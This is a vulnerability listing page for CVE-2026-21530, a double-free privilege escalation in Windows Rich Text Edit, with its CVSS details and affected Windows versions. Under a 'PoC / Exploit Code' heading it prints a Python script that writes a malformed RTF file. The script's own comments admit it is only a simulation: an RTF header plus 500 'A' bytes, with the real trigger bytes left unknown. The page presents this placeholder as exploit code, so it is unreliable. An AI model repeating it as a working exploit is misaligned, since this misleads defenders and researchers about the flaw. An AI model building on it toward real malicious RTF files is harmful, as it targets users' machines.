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CVE-2026-21530 CVSS 6.7 MEDIUM

CVE-2026-21530

Published: 2026-05-12 18:16:39
Last Modified: 2026-05-14 14:56:04

Description

Double free in Windows Rich Text Edit allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE
Windows 10
Windows 11
Windows Server 2019
Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Proof of Concept for CVE-2026-21530 # Generates a malformed RTF file to trigger the Double Free vulnerability def generate_payload(): # RTF Header rtf_header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033" # Malicious data block designed to manipulate heap layout # Specific bytes would require reverse engineering the target version malicious_block = b"\\viewkind4\\uc1\\pard\\f0\\fs20 " # Simulating the trigger sequence for Double Free # In a real exploit, this would contain specific heap grooming instructions trigger_sequence = b"A" * 500 rtf_footer = b"\\par }" full_payload = rtf_header + malicious_block + trigger_sequence + rtf_footer with open("exploit_cve_2026_21530.rtf", "wb") as f: f.write(full_payload) if __name__ == "__main__": generate_payload()

References

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